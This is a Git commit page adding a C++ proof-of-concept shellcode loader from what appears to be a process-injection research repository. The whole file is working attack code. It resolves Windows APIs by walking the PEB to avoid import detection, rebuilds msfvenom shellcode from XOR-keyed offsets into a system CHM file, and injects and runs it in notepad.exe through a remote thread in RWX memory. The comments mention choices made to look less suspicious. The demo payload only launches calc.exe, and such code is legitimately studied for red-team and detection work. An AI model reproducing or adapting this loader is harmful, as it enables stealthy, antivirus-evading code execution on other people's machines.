mirror of
https://github.com/toneillcodes/windows-process-injection
synced 2026-06-21 14:11:25 +00:00
Initial commit of alphabet-peb-loader PoC
This commit is contained in:
@@ -0,0 +1,276 @@
|
||||
/*
|
||||
* alphabet-peb-loader.cpp: injecting calc.exe msfvenom shellcode that has been Alphabet Soup encoded into a remote process using dynamic function resolution via PEB-walking
|
||||
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
|
||||
* compile: cl.exe /D"_UNICODE" /D"UNICODE" /W0 /EHsc /I "..\includes" alphabet-peb-loader.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /Fe:alphabet-peb-loader.exe
|
||||
* Usage: alphabet-peb-loader.exe <PID>
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include "../includes/utils.h" // crt replacements
|
||||
#include "../includes/peb-eat-utils.h" // custom peb/eat walking functions
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
|
||||
typedef LPVOID(WINAPI* P_VirtualAllocEx)(
|
||||
HANDLE pHandle,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
|
||||
typedef BOOL(WINAPI* P_VirtualProtectEx) (
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect
|
||||
);
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
|
||||
typedef BOOL(WINAPI* P_WriteProcessMemory)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpBaseAddress,
|
||||
LPCVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T *lpNumberOfBytesWritten
|
||||
);
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
|
||||
typedef HANDLE(WINAPI* P_CreateRemoteThread) (
|
||||
HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId
|
||||
);
|
||||
|
||||
// Adapted from Pavel Yosifovich's Enumerate Processes (part 1): https://www.youtube.com/watch?v=IZULG6I4z5U
|
||||
DWORD FindPidByName(LPCWSTR processName) {
|
||||
DWORD foundpid = 0;
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
return foundpid;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
pe.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (Process32First(hSnapshot, &pe)) {
|
||||
do {
|
||||
if (_wcsicmp(processName, pe.szExeFile) == 0) {
|
||||
foundpid = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnapshot, &pe));
|
||||
}
|
||||
|
||||
CloseHandle(hSnapshot);
|
||||
return foundpid;
|
||||
}
|
||||
|
||||
// payload recipe generated by python helper
|
||||
unsigned long long alphabetSoup[] = {
|
||||
4660, 18274, 19562, 67286, 67490, 82347, 58255, 55850, 11517, 78235, 11207, 67312,
|
||||
63106, 53765, 76979, 51487, 61601, 42896, 49663, 31257, 33927, 40826, 97872, 60471,
|
||||
39179, 80449, 30873, 55773, 73358, 18824, 84126, 43050, 48375, 36078, 69535, 55281,
|
||||
29350, 60425, 46156, 70929, 27331, 60546, 63514, 43138, 8061, 32171, 76749, 57105,
|
||||
40666, 42570, 54106, 5381, 26667, 96273, 23041, 20926, 45105, 83209, 43016, 36926,
|
||||
19584, 759, 31799, 96385, 29277, 71625, 658, 20898, 46156, 75091, 36562, 63217,
|
||||
32252, 18276, 20082, 46406, 96105, 97935, 69259, 82403, 67571, 12027, 14827, 10746,
|
||||
61409, 65527, 75011, 96596, 32632, 68718, 78104, 83115, 64316, 82052, 33768, 57141,
|
||||
72283, 41134, 95702, 84466, 85673, 3696, 26886, 96893, 39483, 23271, 41651, 3362,
|
||||
68468, 55281, 6720, 82986, 44277, 1705, 28515, 71249, 59249, 79327, 58868, 74132,
|
||||
49433, 19674, 22568, 43897, 33427, 31320, 88091, 34531, 64614, 45042, 95075, 76458,
|
||||
28307, 63163, 651, 33746, 38322, 2038, 42752, 51820, 67781, 61382, 67207, 16453,
|
||||
58890, 60662, 46979, 96290, 4814, 5913, 83115, 1403, 47113, 68324, 85603, 61391,
|
||||
80038, 88384, 26096, 25204, 52013, 1705, 35941, 94816, 54723, 36104, 72645, 33370,
|
||||
76112, 31968, 35382, 72858, 32662, 97875, 40082, 69989, 74486, 63000, 78699, 69751,
|
||||
51524, 18295, 57306, 64727, 47863, 40802, 16522, 24833, 32153, 88740, 40255, 18669,
|
||||
61227, 45792, 51937, 44065, 56572, 67775, 56860, 25498, 42171, 63173, 32571, 32622,
|
||||
18221, 29795, 7983, 10965, 11823, 9950, 11459, 11186, 13521, 11448, 87135, 54212,
|
||||
78303, 39710, 895, 16258, 64024, 23012, 43353, 53123, 97998, 82785, 79132, 78332,
|
||||
55762, 32453, 82913, 24997, 41308, 60233, 94286, 72408, 59332, 95692, 70915, 44640,
|
||||
86190, 30584, 46428, 86887, 25949, 83133, 26623, 55014, 25618, 61978, 27560, 35853,
|
||||
31974, 33604, 4916, 45041, 68947, 64535, 86981, 18318, 74405, 16233, 71645, 66637,
|
||||
39031, 74272, 21532, 94788, 3193, 5930, 3871, 78261, 56407, 33868, 56831, 4485,
|
||||
10670
|
||||
};
|
||||
const size_t soupSize = sizeof(alphabetSoup) / sizeof(unsigned long long);
|
||||
|
||||
int main() {
|
||||
printf("[*] Alphabet Soup PoC Remote Loader\n");
|
||||
|
||||
P_VirtualAllocEx myVirtualAllocEx = nullptr;
|
||||
P_WriteProcessMemory myWriteProcessMemory = nullptr;
|
||||
P_VirtualProtectEx myVirtualProtectEx = nullptr;
|
||||
P_CreateRemoteThread myCreateRemoteThread = nullptr;
|
||||
|
||||
// Extract the key from the first element
|
||||
DWORD activeKey = (DWORD)alphabetSoup[0];
|
||||
size_t payloadSize = soupSize - 1; // Real shellcode size is total minus the key
|
||||
|
||||
// Map the dictionary file
|
||||
printf("[*] Mapping dictionary\n");
|
||||
HANDLE hFile = CreateFileA("C:\\Windows\\Help\\mui\\0409\\cliconf.chm", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||||
LPVOID pChmBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
|
||||
printf("[*] Locating remote process\n");
|
||||
DWORD pid = 0;
|
||||
const wchar_t* processName = L"notepad.exe";
|
||||
|
||||
pid = FindPidByName(processName);
|
||||
if (pid == 0) {
|
||||
printf("[ERROR] Failed to obtain process ID!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Running PI with target PID: %u\n", pid);
|
||||
|
||||
// Open a handle to the current process, this must be passed to VirtualAllocEx
|
||||
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||
if (pHandle == NULL) {
|
||||
printf("Failed to acquire process handle!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
void* teb = GetLocalTebAddress();
|
||||
printf("Current process TEB address: %p\n", teb);
|
||||
|
||||
// maybe move this to a GetLocalPebAddress function?
|
||||
// this is good for demonstration but we can really skip straight to the PEB
|
||||
void* peb = NULL;
|
||||
#ifdef _WIN64
|
||||
// On x64, PEB is at TEB + 0x60
|
||||
peb = *(void**)((unsigned char*)teb + 0x60);
|
||||
#else
|
||||
// On x86, PEB is at TEB + 0x30
|
||||
// not currently used, but good to have around
|
||||
peb = *(void**)((unsigned char*)teb + 0x30);
|
||||
#endif
|
||||
printf("Current process PEB address (TEB + offset): %p\n", peb);
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
|
||||
// Assuming peb_address holds the valid memory location of the PEB
|
||||
PPEB peb_ptr = (PPEB)peb;
|
||||
|
||||
// Accessing the 'BeingDebugged' flag
|
||||
if (peb_ptr->BeingDebugged) {
|
||||
printf("Debugger is attached\n");
|
||||
}
|
||||
else {
|
||||
printf("No debugger detected\n");
|
||||
}
|
||||
|
||||
// resolve the module base
|
||||
PVOID kernel32Base = GetModuleBaseManual(peb_ptr, "kernel32.dll");
|
||||
|
||||
// Use GPAManualByName to get the address of the VirtualAllocEx function
|
||||
myVirtualAllocEx = (P_VirtualAllocEx)GPAManualByName((HMODULE) kernel32Base, "VirtualAllocEx");
|
||||
if (myVirtualAllocEx == nullptr) {
|
||||
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Use GetProcAddress to get the address of the WriteProcessMemory function
|
||||
myWriteProcessMemory = (P_WriteProcessMemory)GPAManualByName((HMODULE) kernel32Base, "WriteProcessMemory");
|
||||
if (myWriteProcessMemory == nullptr) {
|
||||
printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Use GetProcAddress to get the address of the VirtualProtectEx function
|
||||
myVirtualProtectEx = (P_VirtualProtectEx)GPAManualByName((HMODULE) kernel32Base, "VirtualProtectEx");
|
||||
if (myVirtualProtectEx == nullptr) {
|
||||
printf("[ERROR] Failed to resolve VirtualProtectEx. Error: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Use GetProcAddress to get the address of the CreateRemoteThread function
|
||||
myCreateRemoteThread = (P_CreateRemoteThread)GPAManualByName((HMODULE) kernel32Base, "CreateRemoteThread");
|
||||
if (myCreateRemoteThread == nullptr) {
|
||||
printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Successfully opened handle to PID: %u\n", pid);
|
||||
|
||||
// Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious
|
||||
LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
|
||||
if (bufferAddress == NULL) {
|
||||
printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress);
|
||||
|
||||
printf("[*] Decoding indices and writing directly to remote process...\n");
|
||||
for (size_t i = 1; i < soupSize; i++) {
|
||||
// Decode the offset
|
||||
unsigned long long realOffset = alphabetSoup[i];
|
||||
if (activeKey != 0) { realOffset ^= activeKey; }
|
||||
|
||||
// TODO: Is this offset within our mapped source?
|
||||
// Calculate sourceFileSize earlier)
|
||||
// if (realOffset >= sourceFileSize) { break; }
|
||||
|
||||
BYTE targetByte = *((BYTE*)pChmBase + (DWORD)realOffset);
|
||||
|
||||
// Calculate remote write destination (Base + offset)
|
||||
LPVOID remoteAddressForByte = (LPVOID)((BYTE*)bufferAddress + (i - 1));
|
||||
|
||||
// Write a single byte directly to the remote process
|
||||
if (!myWriteProcessMemory(pHandle, remoteAddressForByte, &targetByte, 1, NULL)) {
|
||||
printf("[!] Failed to write byte at index %zu\n", i);
|
||||
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
// clean up our dictionary
|
||||
UnmapViewOfFile(pChmBase);
|
||||
|
||||
// Update the memory protection value from RW to RWX
|
||||
DWORD lpOldProtect = NULL;
|
||||
BOOL updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_EXECUTE_READWRITE, &lpOldProtect);
|
||||
if (updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create a new thread using the shellcode buffer address as the starting point
|
||||
HANDLE tHandle = myCreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
|
||||
if (tHandle == NULL) {
|
||||
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
|
||||
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
|
||||
printf("[*] Waiting for the thread to return...\n");
|
||||
WaitForSingleObject(tHandle, INFINITE);
|
||||
|
||||
// Update the memory protection value from RWX to RW
|
||||
updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_READWRITE, &lpOldProtect);
|
||||
if (updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Clean up open handles and free the shellcode buffer memory
|
||||
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
|
||||
CloseHandle(hMap);
|
||||
CloseHandle(hFile);
|
||||
CloseHandle(pHandle);
|
||||
CloseHandle(tHandle);
|
||||
|
||||
printf("[*] Process injection complete.\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user